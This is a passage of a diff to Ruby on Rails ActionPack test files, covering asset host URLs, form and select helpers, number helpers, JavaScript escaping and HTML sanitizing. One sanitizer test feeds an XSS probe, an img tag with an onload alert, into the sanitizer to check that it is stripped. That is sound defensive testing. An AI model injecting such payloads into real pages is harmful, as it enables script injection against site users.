File.stat(File.expand_path(File.dirname(__FILE__) + "/../fixtures/public/images/rails.png")).mtime.to_i.to_s + expected_time = File.mtime(File.expand_path(File.dirname(__FILE__) + "/../fixtures/public/images/rails.png")).to_i.to_s assert_equal %(<img alt="Rails" src="#{@controller.config.relative_url_root}/images/rails.png?#{expected_time}" />), image_tag("rails.png") end @@ -681,9 +694,9 @@ class AssetTagHelperTest < ActionView::TestCase @controller.config.asset_host = 'http://a%d.example.com' config.perform_caching = true - hash = '/javascripts/cache/money.js'.hash % 4 + number = Zlib.crc32('/javascripts/cache/money.js') % 4 assert_dom_equal( - %(<script src="http://a#{hash}.example.com/javascripts/cache/money.js" type="text/javascript"></script>), + %(<script src="http://a#{number}.example.com/javascripts/cache/money.js" type="text/javascript"></script>), javascript_include_tag(:all, :cache => "cache/money") ) @@ -854,7 +867,7 @@ class AssetTagHelperTest < ActionView::TestCase def test_caching_stylesheet_link_tag_when_caching_on ENV["RAILS_ASSET_ID"] = "" - @controller.config.asset_host = 'http://a0.example.com' + @controller.config.asset_host = 'a0.example.com' config.perform_caching = true assert_dom_equal( @@ -964,7 +977,7 @@ class AssetTagHelperTest < ActionView::TestCase def test_caching_stylesheet_link_tag_when_caching_on_with_proc_asset_host ENV["RAILS_ASSET_ID"] = "" - @controller.config.asset_host = Proc.new { |source| "http://a#{source.length}.example.com" } + @controller.config.asset_host = Proc.new { |source| "a#{source.length}.example.com" } config.perform_caching = true assert_equal '/stylesheets/styles.css'.length, 23 @@ -1091,13 +1104,23 @@ class AssetTagHelperNonVhostTest < ActionView::TestCase end def test_should_compute_proper_path_with_asset_host - @controller.config.asset_host = "http://assets.example.com" + @controller.config.asset_host = "assets.example.com" assert_dom_equal(%(<link href="http://www.example.com/collaboration/hieraki" rel="alternate" title="RSS" type="application/rss+xml" />), auto_discovery_link_tag) - assert_dom_equal(%(http://assets.example.com/collaboration/hieraki/javascripts/xmlhr.js), javascript_path("xmlhr")) - assert_dom_equal(%(http://assets.example.com/collaboration/hieraki/stylesheets/style.css), stylesheet_path("style")) - assert_dom_equal(%(http://assets.example.com/collaboration/hieraki/images/xml.png), image_path("xml.png")) - assert_dom_equal(%(<img alt="Mouse" onmouseover="this.src='http://assets.example.com/collaboration/hieraki/images/mouse_over.png'" onmouseout="this.src='http://assets.example.com/collaboration/hieraki/images/mouse.png'" src="http://assets.example.com/collaboration/hieraki/images/mouse.png" />), image_tag("mouse.png", :mouseover => "/images/mouse_over.png")) - assert_dom_equal(%(<img alt="Mouse2" onmouseover="this.src='http://assets.example.com/collaboration/hieraki/images/mouse_over2.png'" onmouseout="this.src='http://assets.example.com/collaboration/hieraki/images/mouse2.png'" src="http://assets.example.com/collaboration/hieraki/images/mouse2.png" />), image_tag("mouse2.png", :mouseover => image_path("mouse_over2.png"))) + assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/javascripts/xmlhr.js), javascript_path("xmlhr")) + assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/stylesheets/style.css), stylesheet_path("style")) + assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/images/xml.png), image_path("xml.png")) + assert_dom_equal(%(<img alt="Mouse" onmouseover="this.src='gopher://assets.example.com/collaboration/hieraki/images/mouse_over.png'" onmouseout="this.src='gopher://assets.example.com/collaboration/hieraki/images/mouse.png'" src="gopher://assets.example.com/collaboration/hieraki/images/mouse.png" />), image_tag("mouse.png", :mouseover => "/images/mouse_over.png")) + assert_dom_equal(%(<img alt="Mouse2" onmouseover="this.src='gopher://assets.example.com/collaboration/hieraki/images/mouse_over2.png'" onmouseout="this.src='gopher://assets.example.com/collaboration/hieraki/images/mouse2.png'" src="gopher://assets.example.com/collaboration/hieraki/images/mouse2.png" />), image_tag("mouse2.png", :mouseover => image_path("mouse_over2.png"))) + end + + def test_should_compute_proper_path_with_asset_host_and_default_protocol + @controller.config.asset_host = "assets.example.com" + @controller.config.default_asset_host_protocol = :request + assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/javascripts/xmlhr.js), javascript_path("xmlhr")) + assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/stylesheets/style.css), stylesheet_path("style")) + assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/images/xml.png), image_path("xml.png")) + assert_dom_equal(%(<img alt="Mouse" onmouseover="this.src='gopher://assets.example.com/collaboration/hieraki/images/mouse_over.png'" onmouseout="this.src='gopher://assets.example.com/collaboration/hieraki/images/mouse.png'" src="gopher://assets.example.com/collaboration/hieraki/images/mouse.png" />), image_tag("mouse.png", :mouseover => "/images/mouse_over.png")) + assert_dom_equal(%(<img alt="Mouse2" onmouseover="this.src='gopher://assets.example.com/collaboration/hieraki/images/mouse_over2.png'" onmouseout="this.src='gopher://assets.example.com/collaboration/hieraki/images/mouse2.png'" src="gopher://assets.example.com/collaboration/hieraki/images/mouse2.png" />), image_tag("mouse2.png", :mouseover => image_path("mouse_over2.png"))) end def test_should_ignore_asset_host_on_complete_url @@ -1115,12 +1138,12 @@ class AssetTagHelperNonVhostTest < ActionView::TestCase assert_match(%r(http://a[0123].example.com/collaboration/hieraki/images/xml.png), image_path('xml.png')) end - def test_asset_host_without_protocol_should_use_request_protocol + def test_asset_host_without_protocol_should_be_protocol_relative @controller.config.asset_host = 'a.example.com' assert_equal 'gopher://a.example.com/collaboration/hieraki/images/xml.png', image_path('xml.png') end - def test_asset_host_without_protocol_should_use_request_protocol_even_if_path_present + def test_asset_host_without_protocol_should_be_protocol_relative_even_if_path_present @controller.config.asset_host = 'a.example.com/files/go/here' assert_equal 'gopher://a.example.com/files/go/here/collaboration/hieraki/images/xml.png', image_path('xml.png') end diff --git a/actionpack/test/template/capture_helper_test.rb b/actionpack/test/template/capture_helper_test.rb index a9157e711c..13e2d5b595 100644 --- a/actionpack/test/template/capture_helper_test.rb +++ b/actionpack/test/template/capture_helper_test.rb @@ -46,6 +46,42 @@ class CaptureHelperTest < ActionView::TestCase assert_equal "bar", content_for(:bar) end + def test_content_for_with_multiple_calls + assert ! content_for?(:title) + content_for :title, 'foo' + content_for :title, 'bar' + assert_equal 'foobar', content_for(:title) + end + + def test_content_for_with_block + assert ! content_for?(:title) + content_for :title do + output_buffer << 'foo' + output_buffer << 'bar' + nil + end + assert_equal 'foobar', content_for(:title) + end + + def test_content_for_with_whitespace_block + assert ! content_for?(:title) + content_for :title, 'foo' + content_for :title do + output_buffer << " \n " + nil + end + content_for :title, 'bar' + assert_equal 'foobar', content_for(:title) + end + + def test_content_for_returns_nil_when_writing + assert ! content_for?(:title) + assert_equal nil, content_for(:title, 'foo') + assert_equal nil, content_for(:title) { output_buffer << 'bar'; nil } + assert_equal nil, content_for(:title) { output_buffer << " \n "; nil } + assert_equal 'foobar', content_for(:title) + end + def test_content_for_question_mark assert ! content_for?(:title) content_for :title, 'title' diff --git a/actionpack/test/template/compiled_templates_test.rb b/actionpack/test/template/compiled_templates_test.rb index 3f31edd5ce..8fc78283d8 100644 --- a/actionpack/test/template/compiled_templates_test.rb +++ b/actionpack/test/template/compiled_templates_test.rb @@ -10,24 +10,24 @@ class CompiledTemplatesTest < Test::Unit::TestCase end def test_template_gets_recompiled_when_using_different_keys_in_local_assigns - assert_equal "one", render(:file => "test/render_file_with_locals_and_default.erb") - assert_equal "two", render(:file => "test/render_file_with_locals_and_default.erb", :locals => { :secret => "two" }) + assert_equal "one", render(:file => "test/render_file_with_locals_and_default") + assert_equal "two", render(:file => "test/render_file_with_locals_and_default", :locals => { :secret => "two" }) end def test_template_changes_are_not_reflected_with_cached_templates - assert_equal "Hello world!", render(:file => "test/hello_world.erb") + assert_equal "Hello world!", render(:file => "test/hello_world") modify_template "test/hello_world.erb", "Goodbye world!" do - assert_equal "Hello world!", render(:file => "test/hello_world.erb") + assert_equal "Hello world!", render(:file => "test/hello_world") end - assert_equal "Hello world!", render(:file => "test/hello_world.erb") + assert_equal "Hello world!", render(:file => "test/hello_world") end def test_template_changes_are_reflected_with_uncached_templates - assert_equal "Hello world!", render_without_cache(:file => "test/hello_world.erb") + assert_equal "Hello world!", render_without_cache(:file => "test/hello_world") modify_template "test/hello_world.erb", "Goodbye world!" do - assert_equal "Goodbye world!", render_without_cache(:file => "test/hello_world.erb") + assert_equal "Goodbye world!", render_without_cache(:file => "test/hello_world") end - assert_equal "Hello world!", render_without_cache(:file => "test/hello_world.erb") + assert_equal "Hello world!", render_without_cache(:file => "test/hello_world") end private @@ -42,7 +42,7 @@ class CompiledTemplatesTest < Test::Unit::TestCase def render_without_cache(*args) path = ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH) - view_paths = ActionView::Base.process_view_paths(path) + view_paths = ActionView::PathSet.new([path]) ActionView::Base.new(view_paths, {}).render(*args) end diff --git a/actionpack/test/template/compressors_test.rb b/actionpack/test/template/compressors_test.rb new file mode 100644 index 0000000000..a273f15bd7 --- /dev/null +++ b/actionpack/test/template/compressors_test.rb @@ -0,0 +1,28 @@ +require 'abstract_unit' +require 'sprockets/compressors' + +class CompressorsTest < ActiveSupport::TestCase + def test_register_css_compressor + Sprockets::Compressors.register_css_compressor(:null, Sprockets::NullCompressor) + compressor = Sprockets::Compressors.registered_css_compressor(:null) + assert_kind_of Sprockets::NullCompressor, compressor + end + + def test_register_js_compressor + Sprockets::Compressors.register_js_compressor(:uglifier, 'Uglifier', :require => 'uglifier') + compressor = Sprockets::Compressors.registered_js_compressor(:uglifier) + assert_kind_of Uglifier, compressor + end + + def test_register_default_css_compressor + Sprockets::Compressors.register_css_compressor(:null, Sprockets::NullCompressor, :default => true) + compressor = Sprockets::Compressors.registered_css_compressor(:default) + assert_kind_of Sprockets::NullCompressor, compressor + end + + def test_register_default_js_compressor + Sprockets::Compressors.register_js_compressor(:null, Sprockets::NullCompressor, :default => true) + compressor = Sprockets::Compressors.registered_js_compressor(:default) + assert_kind_of Sprockets::NullCompressor, compressor + end +end diff --git a/actionpack/test/template/date_helper_test.rb b/actionpack/test/template/date_helper_test.rb index 09c53a36f0..af30ec9892 100644 --- a/actionpack/test/template/date_helper_test.rb +++ b/actionpack/test/template/date_helper_test.rb @@ -664,6 +664,15 @@ class DateHelperTest < ActionView::TestCase assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :prefix => "date[first]") end + def test_select_date_with_too_big_range_between_start_year_and_end_year + assert_raise(ArgumentError) { select_date(Time.mktime(2003, 8, 16), :start_year => 2000, :end_year => 20000, :prefix => "date[first]", :order => [:month, :day, :year]) } + assert_raise(ArgumentError) { select_date(Time.mktime(2003, 8, 16), :start_year => Date.today.year - 100.years, :end_year => 2000, :prefix => "date[first]", :order => [:month, :day, :year]) } + end + + def test_select_date_can_have_more_then_1000_years_interval_if_forced_via_parameter + assert_nothing_raised { select_date(Time.mktime(2003, 8, 16), :start_year => 2000, :end_year => 3100, :max_years_allowed => 2000) } + end + def test_select_date_with_order expected = %(<select id="date_first_month" name="date[first][month]">\n) expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n) diff --git a/actionpack/test/template/erb_util_test.rb b/actionpack/test/template/erb_util_test.rb index 30f6d1a213..790ab1c74c 100644 --- a/actionpack/test/template/erb_util_test.rb +++ b/actionpack/test/template/erb_util_test.rb @@ -16,6 +16,16 @@ class ErbUtilTest < Test::Unit::TestCase end end + def test_json_escape_returns_unsafe_strings_when_passed_unsafe_strings + value = json_escape("asdf") + assert !value.html_safe? + end + + def test_json_escape_returns_safe_strings_when_passed_safe_strings + value = json_escape("asdf".html_safe) + assert value.html_safe? + end + def test_html_escape_is_html_safe escaped = h("<p>") assert_equal "<p>", escaped diff --git a/actionpack/test/template/form_helper_test.rb b/actionpack/test/template/form_helper_test.rb index 286bfb4d04..e36d032f6c 100644 --- a/actionpack/test/template/form_helper_test.rb +++ b/actionpack/test/template/form_helper_test.rb @@ -696,13 +696,12 @@ class FormHelperTest < ActionView::TestCase concat f.submit('Edit post') end - expected = - "<form accept-charset='UTF-8' action='/posts/44' method='post'>" + - snowman + - "<label for='post_title'>The Title</label>" + + expected = whole_form("/posts/44", "edit_post_44" , "edit_post", :method => "put") do "<input name='post[title]' size='30' type='text' id='post_title' value='And his name will be forty and four.' />" + - "<input name='commit' id='post_submit' type='submit' value='Edit post' />" + - "</form>" + "<input name='commit' type='submit' value='Edit post' />" + end + + assert_dom_equal expected, output_buffer end def test_form_for_with_symbol_object_name @@ -791,6 +790,23 @@ class FormHelperTest < ActionView::TestCase assert_dom_equal expected, output_buffer end + def test_form_for_with_remote_in_html + form_for(@post, :url => '/', :html => { :remote => true, :id => 'create-post', :method => :put }) do |f| + concat f.text_field(:title) + concat f.text_area(:body) + concat f.check_box(:secret) + end + + expected = whole_form("/", "create-post", "edit_post", :method => "put", :remote => true) do + "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" + + "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" + + "<input name='post[secret]' type='hidden' value='0' />" + + "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" + end + + assert_dom_equal expected, output_buffer + end + def test_form_for_with_remote_without_html @post.persisted = false form_for(@post, :remote => true) do |f| @@ -1564,6 +1580,22 @@ class FormHelperTest < ActionView::TestCase assert_dom_equal expected, output_buffer end + def test_nested_fields_for_with_hash_like_model + @author = HashBackedAuthor.new + + form_for(@post) do |f| + concat f.fields_for(:author, @author) { |af| + concat af.text_field(:name) + } + end + + expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'put') do + '<input id="post_author_attributes_name" name="post[author_attributes][name]" size="30" type="text" value="hash backed author" />' + end + + assert_dom_equal expected, output_buffer + end + def test_fields_for output_buffer = fields_for(:post, @post) do |f| concat f.text_field(:title) @@ -1765,7 +1797,7 @@ class FormHelperTest < ActionView::TestCase assert_dom_equal expected, output_buffer end - def snowman(method = nil) + def hidden_fields(method = nil) txt = %{<div style="margin:0;padding:0;display:inline">} txt << %{<input name="utf8" type="hidden" value="✓" />} if method && !method.to_s.in?(['get', 'post']) @@ -1793,7 +1825,7 @@ class FormHelperTest < ActionView::TestCase method = options end - form_text(action, id, html_class, remote, multipart, method) + snowman(method) + contents + "</form>" + form_text(action, id, html_class, remote, multipart, method) + hidden_fields(method) + contents + "</form>" end def test_default_form_builder @@ -1858,6 +1890,17 @@ class FormHelperTest < ActionView::TestCase assert_equal LabelledFormBuilder, klass end + def test_form_for_with_labelled_builder_path + path = nil + + form_for(@post, :builder => LabelledFormBuilder) do |f| + path = f.to_partial_path + '' + end + + assert_equal 'labelled_form', path + end + class LabelledFormBuilderSubclass < LabelledFormBuilder; end def test_form_for_with_labelled_builder_with_nested_fields_for_with_custom_builder diff --git a/actionpack/test/template/form_options_helper_test.rb b/actionpack/test/template/form_options_helper_test.rb index b92e1d9890..469718e1bd 100644 --- a/actionpack/test/template/form_options_helper_test.rb +++ b/actionpack/test/template/form_options_helper_test.rb @@ -378,6 +378,49 @@ class FormOptionsHelperTest < ActionView::TestCase ) end + def test_select_without_multiple + assert_dom_equal( + "<select id=\"post_category\" name=\"post[category]\"></select>", + select(:post, :category, "", {}, :multiple => false) + ) + end + + def test_select_with_grouped_collection_as_nested_array + @post = Post.new + + countries_by_continent = [ + ["<Africa>", [["<South Africa>", "<sa>"], ["Somalia", "so"]]], + ["Europe", [["Denmark", "dk"], ["Ireland", "ie"]]], + ] + + assert_dom_equal( + [ + %Q{<select id="post_origin" name="post[origin]"><optgroup label="<Africa>"><option value="<sa>"><South Africa></option>}, + %Q{<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk">Denmark</option>}, + %Q{<option value="ie">Ireland</option></optgroup></select>}, + ].join("\n"), + select("post", "origin", countries_by_continent) + ) + end + + def test_select_with_grouped_collection_as_hash + @post = Post.new + + countries_by_continent = { + "<Africa>" => [["<South Africa>", "<sa>"], ["Somalia", "so"]], + "Europe" => [["Denmark", "dk"], ["Ireland", "ie"]], + } + + assert_dom_equal( + [ + %Q{<select id="post_origin" name="post[origin]"><optgroup label="<Africa>"><option value="<sa>"><South Africa></option>}, + %Q{<option value="so">Somalia</option></optgroup><optgroup label="Europe"><option value="dk">Denmark</option>}, + %Q{<option value="ie">Ireland</option></optgroup></select>}, + ].join("\n"), + select("post", "origin", countries_by_continent) + ) + end + def test_select_with_boolean_method @post = Post.new @post.allow_comments = false @@ -457,6 +500,22 @@ class FormOptionsHelperTest < ActionView::TestCase ) end + def test_select_with_multiple_to_add_hidden_input + output_buffer = select(:post, :category, "", {}, :multiple => true) + assert_dom_equal( + "<input type=\"hidden\" name=\"post[category][]\" value=\"\"/><select multiple=\"multiple\" id=\"post_category\" name=\"post[category][]\"></select>", + output_buffer + ) + end + + def test_select_with_multiple_and_disabled_to_add_disabled_hidden_input + output_buffer = select(:post, :category, "", {}, :multiple => true, :disabled => true) + assert_dom_equal( + "<input disabled=\"disabled\"type=\"hidden\" name=\"post[category][]\" value=\"\"/><select multiple=\"multiple\" disabled=\"disabled\" id=\"post_category\" name=\"post[category][]\"></select>", + output_buffer + ) + end + def test_select_with_blank @post = Post.new @post.category = "<mus>" @@ -528,6 +587,24 @@ class FormOptionsHelperTest < ActionView::TestCase ) end + def test_empty + @post = Post.new + @post.category = "" + assert_dom_equal( + "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n</select>", + select("post", "category", [], :prompt => true, :include_blank => true) + ) + end + + def test_list_of_lists + @post = Post.new + @post.category = "" + assert_dom_equal( + "<select id=\"post_category\" name=\"post[category]\"><option value=\"\">Please select</option>\n<option value=\"\"></option>\n<option value=\"number\">Number</option>\n<option value=\"text\">Text</option>\n<option value=\"boolean\">Yes/No</option></select>", + select("post", "category", [["Number", "number"], ["Text", "text"], ["Yes/No", "boolean"]], :prompt => true, :include_blank => true) + ) + end + def test_select_with_selected_value @post = Post.new @post.category = "<mus>" @@ -649,11 +726,11 @@ class FormOptionsHelperTest < ActionView::TestCase ) end - def test_collection_select_with_multiple_option_appends_array_brackets + def test_collection_select_with_multiple_option_appends_array_brackets_and_hidden_input @post = Post.new @post.author_name = "Babe" - expected = "<select id=\"post_author_name\" name=\"post[author_name][]\" multiple=\"multiple\"><option value=\"\"></option>\n<option value=\"<Abe>\"><Abe></option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>" + expected = "<input type=\"hidden\" name=\"post[author_name][]\" value=\"\"/><select id=\"post_author_name\" name=\"post[author_name][]\" multiple=\"multiple\"><option value=\"\"></option>\n<option value=\"<Abe>\"><Abe></option>\n<option value=\"Babe\" selected=\"selected\">Babe</option>\n<option value=\"Cabe\">Cabe</option></select>" # Should suffix default name with []. assert_dom_equal expected, collection_select("post", "author_name", dummy_posts, "author_name", "author_name", { :include_blank => true }, :multiple => true) diff --git a/actionpack/test/template/form_tag_helper_test.rb b/actionpack/test/template/form_tag_helper_test.rb index f95308b847..6eae9bf846 100644 --- a/actionpack/test/template/form_tag_helper_test.rb +++ b/actionpack/test/template/form_tag_helper_test.rb @@ -9,7 +9,7 @@ class FormTagHelperTest < ActionView::TestCase @controller = BasicController.new end - def snowman(options = {}) + def hidden_fields(options = {}) method = options[:method] txt = %{<div style="margin:0;padding:0;display:inline">} @@ -34,7 +34,7 @@ class FormTagHelperTest < ActionView::TestCase end def whole_form(action = "http://www.example.com", options = {}) - out = form_text(action, options) + snowman(options) + out = form_text(action, options) + hidden_fields(options) if block_given? out << yield << "</form>" @@ -505,6 +505,36 @@ class FormTagHelperTest < ActionView::TestCase expected = %(<fieldset class="format">Hello world!</fieldset>) assert_dom_equal expected, output_buffer end + + def test_text_area_tag_options_symbolize_keys_side_effects + options = { :option => "random_option" } + text_area_tag "body", "hello world", options + assert_equal options, { :option => "random_option" } + end + + def test_submit_tag_options_symbolize_keys_side_effects + options = { :option => "random_option" } + submit_tag "submit value", options + assert_equal options, { :option => "random_option" } + end + + def test_button_tag_options_symbolize_keys_side_effects + options = { :option => "random_option" } + button_tag "button value", options + assert_equal options, { :option => "random_option" } + end + + def test_image_submit_tag_options_symbolize_keys_side_effects + options = { :option => "random_option" } + image_submit_tag "submit source", options + assert_equal options, { :option => "random_option" } + end + + def test_image_label_tag_options_symbolize_keys_side_effects + options = { :option => "random_option" } + label_tag "submit source", "title", options + assert_equal options, { :option => "random_option" } + end def protect_against_forgery? false diff --git a/actionpack/test/template/html-scanner/document_test.rb b/actionpack/test/template/html-scanner/document_test.rb index ddfb351595..3db2fba783 100644 --- a/actionpack/test/template/html-scanner/document_test.rb +++ b/actionpack/test/template/html-scanner/document_test.rb @@ -123,7 +123,7 @@ HTML def test_parse_invalid_document assert_nothing_raised do - doc = HTML::Document.new("<html> + HTML::Document.new("<html> <table> <tr> <td style=\"color: #FFFFFF; height: 17px; onclick=\"window.location.href='http://www.rmeinc.com/about_rme.aspx'\" style=\"cursor:pointer; height: 17px;\"; nowrap onclick=\"window.location.href='http://www.rmeinc.com/about_rme.aspx'\" onmouseout=\"this.bgColor='#0066cc'; this.style.color='#FFFFFF'\" onmouseover=\"this.bgColor='#ffffff'; this.style.color='#0033cc'\">About Us</td> @@ -135,7 +135,7 @@ HTML def test_invalid_document_raises_exception_when_strict assert_raise RuntimeError do - doc = HTML::Document.new("<html> + HTML::Document.new("<html> <table> <tr> <td style=\"color: #FFFFFF; height: 17px; onclick=\"window.location.href='http://www.rmeinc.com/about_rme.aspx'\" style=\"cursor:pointer; height: 17px;\"; nowrap onclick=\"window.location.href='http://www.rmeinc.com/about_rme.aspx'\" onmouseout=\"this.bgColor='#0066cc'; this.style.color='#FFFFFF'\" onmouseover=\"this.bgColor='#ffffff'; this.style.color='#0033cc'\">About Us</td> diff --git a/actionpack/test/template/html-scanner/sanitizer_test.rb b/actionpack/test/template/html-scanner/sanitizer_test.rb index 678cb9eeeb..62ad6be680 100644 --- a/actionpack/test/template/html-scanner/sanitizer_test.rb +++ b/actionpack/test/template/html-scanner/sanitizer_test.rb @@ -5,6 +5,13 @@ class SanitizerTest < ActionController::TestCase @sanitizer = nil # used by assert_sanitizer end + def test_strip_tags_with_quote + sanitizer = HTML::FullSanitizer.new + string = '<" <img src="trollface.gif" onload="alert(1)"> hi' + + assert_equal ' hi', sanitizer.sanitize(string) + end + def test_strip_tags sanitizer = HTML::FullSanitizer.new assert_equal("<<<bad html", sanitizer.sanitize("<<<bad html")) diff --git a/actionpack/test/template/html-scanner/tag_node_test.rb b/actionpack/test/template/html-scanner/tag_node_test.rb index 0d87f1bd42..3b72243e7d 100644 --- a/actionpack/test/template/html-scanner/tag_node_test.rb +++ b/actionpack/test/template/html-scanner/tag_node_test.rb @@ -55,7 +55,12 @@ class TagNodeTest < Test::Unit::TestCase def test_to_s node = tag("<a b=c d='f' g=\"h 'i'\" />") - assert_equal %(<a b="c" d="f" g="h 'i'" />), node.to_s + node = node.to_s + assert node.include?('a') + assert node.include?('b="c"') + assert node.include?('d="f"') + assert node.include?('g="h') + assert node.include?('i') end def test_tag diff --git a/actionpack/test/template/javascript_helper_test.rb b/actionpack/test/template/javascript_helper_test.rb index 538e0e9874..4b9c3c97b1 100644 --- a/actionpack/test/template/javascript_helper_test.rb +++ b/actionpack/test/template/javascript_helper_test.rb @@ -1,4 +1,5 @@ require 'abstract_unit' +require 'active_support/core_ext/string/encoding' class JavaScriptHelperTest < ActionView::TestCase tests ActionView::Helpers::JavaScriptHelper @@ -27,9 +28,23 @@ class JavaScriptHelperTest < ActionView::TestCase assert_equal %(This \\"thing\\" is really\\n netos\\'), escape_javascript(%(This "thing" is really\n netos')) assert_equal %(backslash\\\\test), escape_javascript( %(backslash\\test) ) assert_equal %(dont <\\/close> tags), escape_javascript(%(dont </close> tags)) + if "ruby".encoding_aware? + assert_equal %(unicode 
 newline), escape_javascript(%(unicode \342\200\250 newline).force_encoding('UTF-8').encode!) + else + assert_equal %(unicode 
 newline), escape_javascript(%(unicode \342\200\250 newline)) + end assert_equal %(dont <\\/close> tags), j(%(dont </close> tags)) end + def test_escape_javascript_with_safebuffer + given = %('quoted' "double-quoted" new-line:\n </closed>) + expect = %(\\'quoted\\' \\"double-quoted\\" new-line:\\n <\\/closed>) + assert_equal expect, escape_javascript(given) + assert_equal expect, escape_javascript(ActiveSupport::SafeBuffer.new(given)) + assert_instance_of String, escape_javascript(given) + assert_instance_of ActiveSupport::SafeBuffer, escape_javascript(ActiveSupport::SafeBuffer.new(given)) + end + def test_button_to_function assert_dom_equal %(<input type="button" onclick="alert('Hello world!');" value="Greeting" />), button_to_function("Greeting", "alert('Hello world!')") diff --git a/actionpack/test/template/log_subscriber_test.rb b/actionpack/test/template/log_subscriber_test.rb index 50e1cccd3b..752b0f23a8 100644 --- a/actionpack/test/template/log_subscriber_test.rb +++ b/actionpack/test/template/log_subscriber_test.rb @@ -27,7 +27,7 @@ class AVLogSubscriberTest < ActiveSupport::TestCase end def test_render_file_template - @view.render(:file => "test/hello_world.erb") + @view.render(:file => "test/hello_world") wait assert_equal 1, @logger.logged(:info).size diff --git a/actionpack/test/template/lookup_context_test.rb b/actionpack/test/template/lookup_context_test.rb index 47b70f05ab..bac2530e3d 100644 --- a/actionpack/test/template/lookup_context_test.rb +++ b/actionpack/test/template/lookup_context_test.rb @@ -31,16 +31,6 @@ class LookupContextTest < ActiveSupport::TestCase assert @lookup_context.formats.frozen? end - test "allows me to change some details to execute an specific block of code" do - formats = Mime::SET - @lookup_context.update_details(:locale => :pt) do - assert_equal formats, @lookup_context.formats - assert_equal :pt, @lookup_context.locale - end - assert_equal formats, @lookup_context.formats - assert_equal :en, @lookup_context.locale - end - test "provides getters and setters for formats" do @lookup_context.formats = [:html] assert_equal [:html], @lookup_context.formats diff --git a/actionpack/test/template/number_helper_test.rb b/actionpack/test/template/number_helper_test.rb index 63b92aadf4..8d679aac1d 100644 --- a/actionpack/test/template/number_helper_test.rb +++ b/actionpack/test/template/number_helper_test.rb @@ -19,15 +19,6 @@ class NumberHelperTest < ActionView::TestCase gigabytes(number) * 1024 end - def silence_deprecation_warnings - @old_deprecatios_silenced = ActiveSupport::Deprecation.silenced - ActiveSupport::Deprecation.silenced = true - end - - def restore_deprecation_warnings - ActiveSupport::Deprecation.silenced = @old_deprecatios_silenced - end - def test_number_to_phone assert_equal("555-1234", number_to_phone(5551234)) assert_equal("800-555-1212", number_to_phone(8005551212)) @@ -36,6 +27,7 @@ class NumberHelperTest < ActionView::TestCase assert_equal("800 555 1212", number_to_phone(8005551212, {:delimiter => " "})) assert_equal("(800) 555-1212 x 123", number_to_phone(8005551212, {:area_code => true, :extension => 123})) assert_equal("800-555-1212", number_to_phone(8005551212, :extension => " ")) + assert_equal("555.1212", number_to_phone(5551212, :delimiter => '.')) assert_equal("800-555-1212", number_to_phone("8005551212")) assert_equal("+1-800-555-1212", number_to_phone(8005551212, :country_code => 1)) assert_equal("+18005551212", number_to_phone(8005551212, :country_code => 1, :delimiter => '')) @@ -292,33 +284,40 @@ class NumberHelperTest < ActionView::TestCase assert number_to_human(1).html_safe? assert !number_to_human("<script></script>").html_safe? assert number_to_human("asdf".html_safe).html_safe? + assert number_to_human("1".html_safe).html_safe? assert number_to_human_size(1).html_safe? assert number_to_human_size(1000000).html_safe? assert !number_to_human_size("<script></script>").html_safe? assert number_to_human_size("asdf".html_safe).html_safe? + assert number_to_human_size("1".html_safe).html_safe? assert number_with_precision(1, :strip_insignificant_zeros => false).html_safe? assert number_with_precision(1, :strip_insignificant_zeros => true).html_safe? assert !number_with_precision("<script></script>").html_safe? assert number_with_precision("asdf".html_safe).html_safe? + assert number_with_precision("1".html_safe).html_safe? assert number_to_currency(1).html_safe? assert !number_to_currency("<script></script>").html_safe? assert number_to_currency("asdf".html_safe).html_safe? + assert number_to_currency("1".html_safe).html_safe? assert number_to_percentage(1).html_safe? assert !number_to_percentage("<script></script>").html_safe? assert number_to_percentage("asdf".html_safe).html_safe? + assert number_to_percentage("1".html_safe).html_safe? assert number_to_phone(1).html_safe? assert_equal "<script></script>", number_to_phone("<script></script>") assert number_to_phone("<script></script>").html_safe? assert number_to_phone("asdf".html_safe).html_safe? + assert number_to_phone("1".html_safe).html_safe? assert number_with_delimiter(1).html_safe? assert !number_with_delimiter("<script></script>").html_safe? assert number_with_delimiter("asdf".html_safe).html_safe? + assert number_with_delimiter("1".html_safe).html_safe? end def test_number_helpers_should_raise_error_if_invalid_when_specified diff --git a/actionpack/test/template/record_tag_helper_test.rb b/actionpack/test/template/record_tag_helper_test.rb index 74d7bba4fe..7f23629e05 100644 --- a/actionpack/test/template/record_tag_helper_test.rb +++ b/actionpack/test/template/record_tag_helper_test.rb @@ -4,11 +4,20 @@ require 'controller/fake_models' class Post extend ActiveModel::Naming include ActiveModel::Conversion + attr_writer :id, :body + + def initialize + @id = nil + @body = nil + super + end + def id - 45 + @id || 45 end + def body - super || "What a wonderful world!" + super || @body || "What a wonderful world!" end end @@ -48,16 +57,42 @@ class RecordTagHelperTest < ActionView::TestCase end def test_block_works_with_content_tag_for_in_erb - __in_erb_template = '' expected = %(<tr class="post" id="post_45">#{@post.body}</tr>) actual = content_tag_for(:tr, @post) { concat @post.body } assert_dom_equal expected, actual end def test_div_for_in_erb - __in_erb_template = '' expected = %(<div class="post bar" id="post_45">#{@post.body}</div>) actual = div_for(@post, :class => "bar") { concat @post.body } assert_dom_equal expected, actual end + + def test_content_tag_for_collection + post_1 = Post.new.tap { |post| post.id = 101; post.body = "Hello!"; 